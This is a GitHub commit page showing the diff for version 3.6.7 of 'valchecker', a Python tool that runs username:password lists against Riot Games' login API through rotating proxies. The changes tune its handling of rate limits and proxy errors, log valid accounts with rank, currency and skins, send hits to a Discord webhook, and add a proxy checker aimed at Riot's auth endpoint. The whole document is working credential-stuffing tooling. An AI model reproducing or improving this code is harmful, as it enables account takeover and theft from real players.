Skip to content

Commit

Permalink
v3.6.7
Browse files Browse the repository at this point in the history
some improvements in speed and GUI
  • Loading branch information
LIL-JABA committed Sep 14, 2022
1 parent e640d4f commit 7a2bcb5
Show file tree
Hide file tree
Showing 5 changed files with 73 additions and 15 deletions.
45 changes: 40 additions & 5 deletions src/checker.py
Original file line number Diff line number Diff line change
Expand Up @@ -9,6 +9,7 @@
import threading
from InquirerPy import inquirer
from InquirerPy.separator import Separator
import json

from colorama import Fore, Style

Expand Down Expand Up @@ -38,6 +39,14 @@ def __init__(self,settings:list,proxylist) -> None:
self.webhook=''
else:
pass

#try:
# from pypresence import Presence
# from pypresence.exceptions import DiscordNotFound, InvalidID
# self.rpc = Presence("1019363739859963915")
# self.rpc.connect()
#except ModuleNotFoundError:
# pass

path = os.getcwd()
self.parentpath=os.path.abspath(os.path.join(path, os.pardir))
Expand Down Expand Up @@ -79,7 +88,7 @@ def main(self,accounts,count):
self.whtext=f'{Fore.LIGHTGREEN_EX}Using the webhook{Fore.RESET}'
self.count=count
os.system(f'mode con: cols=150 lines=32')
self.threadam=int(input('input number if threads (min 1 max 1000) >>>'))
self.threadam=int(input(f'input number if threads (min 1 max 1000) (proxies: {self.proxycount}) >>>'))
self.threadam= self.threadam if 1000>self.threadam>0 else self.proxycount if self.proxycount > 1 else 3
menu_choices=[
Separator(),
Expand Down Expand Up @@ -138,6 +147,7 @@ def main(self,accounts,count):
# print("Checked all")

def checker(self,username,password):
riotlimitinarow=0
proxy=sys.getproxy(self.proxylist)
account=f'{username}:{password}'
reset = Fore.RESET
Expand Down Expand Up @@ -165,23 +175,25 @@ def checker(self,username,password):
f.write(f'({datetime.datetime.now()}) {mailverif}\n_________________________________\n')
self.err+=1
elif token==1:
if self.riotlimitinarow<self.max_rlimits:
if riotlimitinarow<self.max_rlimits:
if self.print_sys==True:
print(sys.center(f'riot limit. waiting {self.rlimit_wait} seconds'))
time.sleep(self.rlimit_wait)
self.riotlimitinarow+=1
riotlimitinarow+=1
continue
else:
if self.print_sys==True:
print(sys.center(f'{self.max_rlimits} riot limits in a row. skipping'))
self.printinfo()
self.riotlimitinarow=0
riotlimitinarow=0
self.rlimits+=1
self.checked+=1
with open (f'{self.parentpath}/output/riot_limits.txt', 'a', encoding='UTF-8') as file:
file.write(f'\n{account}')
break
elif token==6:
if mailverif==True:
proxy=sys.getproxy(self.proxylist)
self.retries+=1
time.sleep(1)
continue
Expand Down Expand Up @@ -302,6 +314,14 @@ def checker(self,username,password):
''')
else:
#with open(f'{self.parentpath}/output/valid.json','r+',encoding='utf-8') as f:
# data=json.load(f)
# temp=data['valid']
# toadd={'LogPass':account,'region':reg,'rank':rank,'level':lvl,'lastmatch':lastplayed,'unverifiedmail':mailverif,'vp':vp,'rp':rp,'skinscount':skinscount,f'skins':skins.strip('\n').split('\n')}
# temp.append(toadd)
# f.seek(0)
# json.dump(data, f, indent=4)
# f.truncate()
with open (f'{self.parentpath}/output/valid.txt', 'a', encoding='UTF-8') as file:
file.write(f'''|[{account}]
------------------------------------
Expand Down Expand Up @@ -363,12 +383,14 @@ def checker(self,username,password):
dcwebhook.add_embed(embed)
response=dcwebhook.execute()
#input(response)

except Exception as e:
#input(e)
with open(f'{self.parentpath}/log.txt','a') as f:
f.write(f'({datetime.datetime.now()}) {str(traceback.format_exc())}\n_________________________________\n')
self.err+=1
self.checked+=1
self.riotlimitinarow=0
riotlimitinarow=0
if self.uselog==False:
self.printinfo()
else:
Expand All @@ -385,6 +407,19 @@ def printinfo(self):
self.startedtesting=sys.getmillis()
self.startedcount=self.checked
self.cpmtext = f'↑ {self.cpm}' if self.cpm>prevcpm else f'↓ {self.cpm}'
#elif finishedtesting-self.startedtesting>10000:
# try:
# self.rpc.update(
# details=f'Checking {self.checked}/{self.count} accounts',
# state=f"{self.valid} valid ({str(round(self.valid/self.checked*100 if self.checked !=0 else 0,1))}%)",
# #large_image=mapImage,
# #large_text=mapText,
# #small_image=agent_img,
# #small_text=agent,
# buttons=[{"label": "What's this? 👀", "url": "https://github.com/LIL-JABA/valchecker"}]
# )
# except:
# pass

reset = Fore.RESET
cyan = Fore.CYAN
Expand Down
16 changes: 14 additions & 2 deletions src/codeparts/auth.py
Original file line number Diff line number Diff line change
@@ -1,11 +1,15 @@
from collections import OrderedDict
from re import compile
import re
from ssl import PROTOCOL_TLSv1_2
from tkinter import *
import traceback
import pandas
import urllib3.exceptions
import http,http.client

from requests import session as sesh
from requests import session as sesh,exceptions
import requests
from requests.adapters import HTTPAdapter
from urllib3 import PoolManager

Expand Down Expand Up @@ -58,7 +62,15 @@ def auth(self,logpass=None,username=None,password=None,proxy=None):
}
r2 = session.put('https://auth.riotgames.com/api/v1/authorization', json=data, headers=headers,proxies=proxy)
#input(r2.text)
except:
except requests.exceptions.ConnectTimeout:
return 6,6,6,True,None
except requests.exceptions.ProxyError:
return 6,6,6,True,None
except urllib3.exceptions.MaxRetryError:
return 6,6,6,True,None
except http.client.RemoteDisconnected:
return 6,6,6,True,None
except Exception as e:
return 6,6,6,6,None
#print(r2.text)
try:
Expand Down
12 changes: 11 additions & 1 deletion src/codeparts/systems.py
Original file line number Diff line number Diff line change
Expand Up @@ -6,9 +6,12 @@

from colorama import Fore,Back
import requests
from requests import exceptions
import valo_api as vapi
from InquirerPy import inquirer
from InquirerPy.separator import Separator
import traceback
import ctypes

from codeparts import checkers
from codeparts.data import Constants
Expand Down Expand Up @@ -218,7 +221,7 @@ def getproxy(self,proxlist):
nextproxy=proxlist[self.num]
self.num+=1
except Exception as e:
input(e)
#input(e)
nextproxy=None
return nextproxy

Expand All @@ -238,6 +241,9 @@ def checkproxy(self):
except FileNotFoundError:
input('cant find your proxy file. press enter to return')
good=[]
count=len(proxylist)
checked=0
goodc,bad=0,0
for proxy in proxylist:
proxy=proxy.replace('\n','')
proxxy={
Expand All @@ -249,9 +255,13 @@ def checkproxy(self):
resp=session.get('https://auth.riotgames.com/api/v1/authorization/',proxies=proxxy).text
resp=f'{Fore.GREEN}[Good]{Fore.RESET} {proxy}'
good.append(proxy)
goodc+=1
except Exception as e:
resp=f'{Fore.RED}[Bad]{Fore.RESET} {proxy} ({e})'
bad+=1
print(f'{resp}')
checked+=1
ctypes.windll.kernel32.SetConsoleTitleW(f'ValChecker by liljaba1337 | Checking Proxies ({checked}/{count}) | Good {goodc} | Bad {bad}')
if inquirer.confirm(
message="Do you want to delete the bad ones?", default=True
).execute():
Expand Down
14 changes: 8 additions & 6 deletions src/main.py
Original file line number Diff line number Diff line change
Expand Up @@ -21,14 +21,15 @@ class program():
def __init__(self) -> None:
self.count=0
self.checked=0
self.version='3.6.6'
self.version='3.6.7'
self.riotlimitinarow=0
try:
self.lastver=requests.get('https://lil-jaba.github.io/valchecker/src/system/lastver.html').text.replace(' ','').replace('\n','')
if 'a' in self.lastver:
self.lastver=self.version
response=requests.get('https://api.github.com/repos/lil-jaba/valchecker/releases').json()
self.lastver=response[0]['tag_name']
self.changelog=response[0]['body']
except:
self.lastver=self.version
self.changelog=''

def start(self):
while True:
Expand All @@ -55,7 +56,8 @@ def start(self):
'''))
print(sys.center(f'v{self.version}{secret}'))
if self.lastver!=self.version:
print(sys.center(f'new update ({self.lastver}) is available!'))
print(sys.center(f'\nnew update ({self.lastver}) is available!'))
print(sys.center(f'What\'s new: {self.changelog}'))
menu_choices=[
Separator(),
'Start Checker',
Expand All @@ -71,7 +73,7 @@ def start(self):
message="Please select an option:",
choices=menu_choices,
default=menu_choices[0],
pointer='>'
pointer='>',
).execute()
if res==menu_choices[1]:
self.main(redirect=True)
Expand Down
1 change: 0 additions & 1 deletion src/system/lastver.html

This file was deleted.

0 comments on commit 7a2bcb5

Please sign in to comment.